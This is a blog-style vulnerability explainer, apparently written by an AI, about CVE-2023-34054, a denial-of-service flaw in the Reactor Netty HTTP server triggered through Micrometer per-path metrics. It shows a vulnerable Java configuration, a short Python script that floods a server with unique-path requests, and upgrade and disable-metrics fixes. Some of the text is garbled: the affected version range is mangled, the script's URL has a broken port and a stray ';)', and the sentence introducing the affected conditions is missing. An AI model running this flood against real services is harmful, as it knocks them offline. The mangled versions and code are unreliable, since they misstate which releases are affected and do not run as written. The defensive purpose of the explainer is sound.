In late 2023, a critical vulnerability—CVE-2023-34054—was reported in the popular Reactor Netty HTTP Server used in many Java-based, reactive web applications. This bug allows attackers to send specially crafted HTTP requests that can take down your server (Denial-of-Service, or DoS), provided a specific metrics feature is enabled. In this long read, I’ll explain the vulnerability in simple terms, show example code, and link to official resources. Finally, I’ll walk you through practical steps to protect your apps.

What is Reactor Netty HTTP Server?

Reactor Netty is a high-performance reactive network library for JVM applications, forming the backbone of Spring WebFlux and many microservices. As part of its feature-set, Reactor Netty integrates with Micrometer, a metrics collection library that exports stats for Prometheus, Graphite, and others.

You use Reactor Netty HTTP Server version 1.1.x < 1.1.13 or 1..x < 1..39

- You have Micrometer integration enabled (e.g., you collect metrics via Netty HTTP server’s own metrics(true) setting)

If you don’t use Micrometer or you’re on the latest version, you are safe.

What Can Happen?

Any HTTP client (even without access privileges) could submit an unusual request that jams the metrics registry, using up your CPU and memory, causing your server to lag—or even crash. In other words, this is a risk for denial-of-service (DoS).

The Vulnerability — How it Works

When Micrometer metrics are enabled on the HTTP server, every new unique HTTP path (like /foo vs /bar/123) is tracked independently. However, a malicious actor can send endless requests with random or ever-changing paths, e.g., /dos1, /dos2, ..., /dos9999. Each request creates thousands of unique metrics objects, eventually overwhelming your server.

In code, the vulnerable config looks like this

import reactor.netty.http.server.HttpServer;

public class VulnerableServer {
    public static void main(String[] args) {
        HttpServer.create()
            .metrics(true) // <--- Vulnerable when enabled!
            .route(routes ->
                routes.get("/**", (req, res) -> res.sendString(Mono.just("Hello!")))
            )
            .bindNow()
            .onDispose()
            .block();
    }
}

Exploit Example: Reproducing the DoS

Below is a Python script that simulates a basic DoS attack, bombarding the server with requests on unique URLs:

import requests

for i in range(10000):
    path = f"/attack-path-{i}"
    try:
        requests.get(f"http://localhost:808{path}";)
    except Exception:
        pass  # Ignore connection errors

*Run this while monitoring your Java server’s memory and CPU usage—you’ll likely see a spike and possible OutOfMemoryError after a few thousand requests.*

Original References

- NVD — CVE-2023-34054
- Pivotal / VMware security advisory
- Official Reactor Netty Issue

Maven example

<dependency>
    <groupId>io.projectreactor.netty</groupId>
    <artifactId>reactor-netty-http</artifactId>
    <version>1.1.13</version>
</dependency>

OR, as a temporary fix: Disable metrics integration until you can upgrade.

HttpServer.create()
    .metrics(false) // Disable Micrometer metrics

Post-fix: What Did They Change?

In patched versions, Reactor Netty defaults to "path-tagging" that avoids creating metrics for each unique URI, reducing the object churn attackers can cause. If you still *need* fine-grained per-path metrics, ensure you understand the risks and have set rate limits.

Wrap Up

In simple terms, CVE-2023-34054 makes it easy for attackers to crash your server using random HTTP paths—if you use Reactor Netty HTTP Server *with* Micrometer metrics. The fix is simple: update to the latest release. If you’re stuck, *disable metrics integration* temporarily. Always review 3rd party dependencies for active security advisories.

Stay safe, keep dependencies up-to-date, and monitor server logs for unusual spikes!

*Exclusively prepared for you by an AI security writer, 2024.*

Timeline

Published on: 11/28/2023 09:15:07 UTC
Last modified on: 12/04/2023 19:59:30 UTC